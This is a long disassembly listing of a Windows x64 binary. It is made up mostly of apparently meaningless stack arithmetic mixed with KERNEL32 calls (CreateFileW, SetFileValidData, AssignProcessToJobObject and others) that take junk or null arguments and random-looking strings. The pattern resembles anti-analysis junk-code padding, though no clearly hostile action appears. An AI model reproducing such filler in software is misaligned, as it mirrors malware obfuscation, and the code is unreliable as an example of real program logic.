mov rax, qword [rsp + 0x14760]
mov rcx, qword [rsp + 0x147c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x737], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dec]
sub eax, ecx
mov word [0x14028284c], ax
mov eax, dword [rsp + 0x9d54]
mov ecx, dword [rsp + 0xa998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b80], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xee64
mov rcx, qword [rsp + 0x14bc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xae08], eax
mov rax, qword [rsp + 0x14e50]
mov eax, dword [rax]
mov dword [rsp + 0xae2c], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x14f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov dword [rsp + 0xae30], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae34], eax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa65c], eax
movzx eax, byte [rsp + 0x717]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62f], al
movzx eax, word [rsp + 0x1b28]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b68], ax
mov rax, qword [rsp + 0x14530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d30]
sub eax, ecx
mov word [rsp + 0x2540], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4cf]
or eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
mov rax, qword [rsp + 0x14b50]
mov ecx, dword [rsp + 0x9dc0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402828a0], eax
mov rax, qword [rsp + 0x150b0]
mov eax, dword [rax]
mov dword [rsp + 0xae38], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14bf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70f], al
mov eax, dword [rsp + 0x7720]
mov dword [rsp + 0xae3c], eax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa370]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa34], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x74a0], eax
mov rax, qword [rsp + 0x148f8]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d28], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e2f], al
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov dword [rsp + 0xae40], eax
mov rax, qword [rsp + 0x14f60]
mov rcx, qword [rsp + 0x15078]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa700], eax
lea rax, [rsp + 0x6558]
mov qword [rsp + 0x150e0], rax
mov eax, dword [rsp + 0x9260]
mov ecx, dword [0x14028ee44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb8], eax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa420], eax
movzx eax, byte [rsp + 0x6a2]
mov byte [rsp + 0x738], al
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f4]
sub eax, ecx
mov rcx, qword [rsp + 0x14c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ee]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
mov word [0x14028ebd2], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.2Gxb31lJqLBnA1L
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x150e8], rax
mov eax, dword [rsp + 0xa7b0]
mov rcx, qword [0x14028edb8]
mov qword [rsp + 0x150f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x150f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f44], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [rsp + 0xae44], eax
movzx eax, byte [rsp + 0x686]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x712], al
movzx eax, word [rsp + 0x2f5c]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2eac], ax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov dword [rsp + 0xae48], eax
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x14da8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66e4], eax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cec], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14990]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14028ec48]
mov word [rcx], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6fb], al
mov eax, dword [rsp + 0xa6dc]
mov dword [rsp + 0xae4c], eax
mov eax, dword [rsp + 0xa2a8]
mov ecx, dword [0x14028287c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14eb0]
movzx eax, word [rax]
mov word [rsp + 0x2f68], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66f]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71e]
sub eax, ecx
mov byte [rsp + 0x669], al
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2574]
sub eax, ecx
mov word [rsp + 0x1450], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [0x140282750]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7a0], eax
mov rax, qword [rsp + 0x14260]
mov rcx, qword [rsp + 0x15098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402828a4], eax
lea rax, [rsp + 0xaa6c]
mov qword [rsp + 0x150f8], rax
mov rcx, qword [rsp + 0x15000]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa76c], eax
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xae50], eax
mov rax, qword [rsp + 0x14c08]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa100], eax
mov eax, dword [rsp + 0xa948]
mov dword [rsp + 0xae54], eax
movzx eax, word [rsp + 0x2db0]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72e]
sar eax, cl
mov byte [rsp + 0x4f2], al
mov eax, dword [rsp + 0x8300]
mov dword [rsp + 0xae58], eax
mov eax, dword [0x14028ec3c]
mov rcx, qword [rsp + 0x14b48]
mov qword [rsp + 0x15100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15100]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xad6c], eax
lea rax, [rsp + 0xa86c]
mov qword [rsp + 0x15108], rax
mov rax, qword [rsp + 0x14de0]
mov rcx, qword [rsp + 0x14ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028272c], eax
movzx eax, byte [rsp + 0x68f]
movzx ecx, byte [rsp + 0x1d0]
and eax, ecx
mov byte [rsp + 0x65e], al
mov rax, qword [rsp + 0x14978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
add eax, ecx
mov word [rsp + 0x2ea4], ax
movzx eax, word [rsp + 0x14f4]
mov word [rsp + 0x2f6c], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72c]
sub eax, ecx
mov byte [rsp + 0x726], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xaa80], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xae08], eax
mov rax, qword [rsp + 0x150a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x85d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x850c], eax
mov eax, dword [rsp + 0xadb8]
mov ecx, dword [rsp + 0xa4dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb8], eax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0x14810]
movzx eax, byte [rax]
mov byte [rsp + 0x739], al
mov rax, qword [rsp + 0x144a8]
mov ecx, dword [rsp + 0x7b80]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402828a8], eax
mov eax, dword [rsp + 0xa598]
mov ecx, dword [rsp + 0xa418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa310], eax
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
mov dword [rsp + 0xae5c], eax
mov rax, qword [rsp + 0x14bd0]
mov ecx, dword [0x140282830]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f44], eax
movzx eax, byte [rsp + 0x6fc]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x143f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
xor eax, ecx
mov word [rsp + 0x1330], ax
mov eax, dword [rsp + 0x72c0]
mov rcx, qword [rsp + 0x14768]
mov qword [rsp + 0x15110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15110]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9ddc], eax
mov eax, dword [rsp + 0xa5b4]
mov dword [rsp + 0xae60], eax
mov rax, qword [rsp + 0x14be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8df4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dbc], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa708]
and ecx, eax
mov eax, ecx
mov dword [0x140282880], eax
lea rax, [rsp + 0xa77c]
mov qword [rsp + 0x15118], rax
movsx eax, byte [rsp + 0x65b]
movsx ecx, byte [rsp + 0x695]
add eax, ecx
mov byte [rsp + 0x710], al
movsx eax, word [0x140282890]
movsx ecx, word [rsp + 0x2be8]
sub eax, ecx
mov word [rsp + 0x155c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [rsp + 0x2d38]
mov word [rsp + 0x2f70], ax
movzx ecx, word [rsp + 0x2ecc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f74], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ed78]
add eax, ecx
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x674c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x14e58]
mov ecx, dword [rsp + 0x6564]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14e58]
mov dword [rcx], eax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c64]
add eax, ecx
mov word [rsp + 0x2d2c], ax
movzx eax, byte [rsp + 0x733]
movzx ecx, byte [rsp + 0x67f]
sub eax, ecx
mov byte [0x14028ecf4], al
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov dword [rsp + 0xae64], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac8c], eax
mov edx, 0x60f42b
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0xa94c]
mov dword [rsp + 0xae68], eax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaacc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9374], eax
movzx eax, word [0x1402827b0]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a1c], ax
movzx eax, byte [rsp + 0x64b]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x38e], al
mov eax, dword [rsp + 0x8318]
movzx ecx, al
mov eax, dword [rsp + 0xacb0]
shl eax, cl
mov dword [rsp + 0xa98c], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov dword [rsp + 0xae6c], eax
mov rax, qword [rsp + 0x14e70]
movzx eax, word [rax]
mov word [0x14028ebd0], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x35e], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2cc8], ax
lea rax, [rsp + 0x6f2]
mov qword [rsp + 0x15120], rax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x147d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x14b48]
mov eax, dword [rax]
mov dword [rsp + 0xae70], eax
mov eax, dword [rsp + 0x86d8]
mov ecx, dword [rsp + 0xad4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7ae8]
mov dword [rsp + 0xae74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4cc], eax
movzx eax, word [rsp + 0x2d9c]
movzx ecx, word [rsp + 0x2098]
add eax, ecx
mov word [rsp + 0x2b28], ax
movzx eax, byte [rsp + 0x60f]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14028ecb0]
mov byte [rcx], al
lea rax, [rsp + 0xae28]
mov qword [rsp + 0x15128], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa5e8], eax
mov eax, dword [rsp + 0x9700]
mov ecx, dword [rsp + 0x76bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9790], eax
mov eax, dword [rsp + 0xab58]
mov ecx, dword [0x1402826fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f18], eax
mov rax, qword [rsp + 0x14f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa634]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae1c], eax
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f64]
add eax, ecx
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov byte [rsp + 0x73a], al
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x65b], al
movzx eax, word [rsp + 0x2df4]
mov word [rsp + 0x2f78], ax
mov eax, dword [rsp + 0xae10]
mov rcx, qword [0x14028ee80]
mov qword [rsp + 0x15130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15130]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402828ac], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9384]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c9c], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1740], ax
movzx eax, byte [rsp + 0x694]
movzx ecx, byte [rsp + 0x69d]
and eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x793c], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xae78], eax
mov eax, dword [rsp + 0xac14]
mov ecx, dword [rsp + 0xac50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac20], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xae7c], eax
mov rax, qword [0x14028ec78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61a]
sub eax, ecx
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402828b0], ax
lea rcx, str.MmfT81wEV_CT0RXAk3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f74], ax
mov rax, qword [rsp + 0x14bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8df4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa940]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x76d8], eax
mov rax, qword [rsp + 0x14858]
mov ecx, dword [rsp + 0xadd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaab8], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov dword [rsp + 0xae80], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa38], eax
movsx eax, byte [rsp + 0x722]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x632], al
mov rax, qword [rsp + 0x147f0]
movzx eax, word [rax]
mov word [rsp + 0x2f7c], ax
movzx eax, byte [rsp + 0x5f5]
movzx ecx, byte [rsp + 0x6b5]
sar eax, cl
mov byte [rsp + 0x6e9], al
movzx eax, word [rsp + 0x2e10]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x14ec8]
mov rcx, qword [rsp + 0x14df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d2c], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e3c]
and eax, ecx
mov word [rsp + 0x2ed0], ax
lea rax, [rsp + 0x68b]
mov qword [rsp + 0x15138], rax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x145d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8a8], eax
mov eax, dword [rsp + 0x6684]
mov dword [rsp + 0xae84], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x14748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75ec], eax
mov rax, qword [rsp + 0x14688]
mov rcx, qword [rsp + 0x14d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaba8], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
add eax, ecx
mov rcx, qword [0x14028ee48]
mov word [rcx], ax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
mov byte [rsp + 0x73b], al
mov rax, qword [rsp + 0x14560]
mov rcx, qword [rsp + 0x14ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cf4], eax
mov eax, dword [rsp + 0xaa78]
mov dword [rsp + 0xae88], eax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14ce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f20], ax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56c]
add eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, word [rsp + 0x2e84]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [rsp + 0x150a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a9]
shl eax, cl
mov byte [rsp + 0x693], al
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov dword [rsp + 0xae8c], eax
lea rax, [rsp + 0x6f08]
mov qword [0x14028ebc8], rax
lea rcx, [rsp + 0x22638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xae90], eax
mov eax, dword [rsp + 0xa590]
movzx ecx, al
mov eax, dword [rsp + 0xae6c]
sar eax, cl
mov dword [rsp + 0xaafc], eax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov dword [rsp + 0xae94], eax
mov rax, qword [rsp + 0x149a0]
mov ecx, dword [rsp + 0xadf0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa3c8], eax
movzx eax, word [rsp + 0x247c]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c64], ax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [rsp + 0x245], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x14688]
mov rcx, qword [rsp + 0x14420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xae98], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x14d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa604], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0xaba4]
mov ecx, dword [rsp + 0x89b4]
add ecx, eax
mov eax, ecx
mov dword [0x14028282c], eax
movzx eax, byte [rsp + 0xa3]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67a], al
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
mov word [rsp + 0x2f80], ax
movsx eax, byte [rsp + 0x24d]
movsx ecx, byte [rsp + 0x553]
sub eax, ecx
mov byte [rsp + 0x6c8], al
movzx ecx, word [rsp + 0x2ccc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f84], ax
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1798], ax
mov rax, qword [rsp + 0x14930]
mov rcx, qword [rsp + 0x14b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9374], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov dword [rsp + 0xae9c], eax
movzx eax, word [rsp + 0x1890]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14758]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa9d8], eax
movzx eax, byte [rsp + 0x6a8]
movzx ecx, byte [rsp + 0x673]
sub eax, ecx
mov byte [rsp + 0x6d4], al
mov eax, dword [rsp + 0x8bc0]
mov dword [0x14028ebc0], eax
mov rax, qword [0x14028ec98]
mov eax, dword [rax]
mov dword [rsp + 0xaea0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov eax, dword [rsp + 0xa640]
mov ecx, dword [rsp + 0xad58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov eax, dword [rsp + 0xa5a4]
movzx ecx, al
mov eax, dword [rsp + 0x9454]
shl eax, cl
mov dword [rsp + 0x7da8], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0x150a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d6]
xor eax, ecx
mov byte [rsp + 0x653], al
mov eax, dword [0x140282790]
mov dword [rsp + 0xaea4], eax
mov rax, qword [rsp + 0x148e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f98]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab9c]
mov dword [rsp + 0xaea8], eax
mov rax, qword [rsp + 0x14aa0]
mov ecx, dword [rsp + 0xa9fc]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402828b4], eax
mov rax, qword [rsp + 0x15118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64d8], eax
movsx eax, byte [rsp + 0x680]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ff], al
mov rax, qword [rsp + 0x14360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18c8], ax
movzx eax, byte [rsp + 0x6f8]
movzx ecx, byte [rsp + 0x2bb]
sub eax, ecx
mov byte [rsp + 0x624], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov word [rsp + 0x2f88], ax
mov rcx, qword [rsp + 0x15008]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xaeac], eax
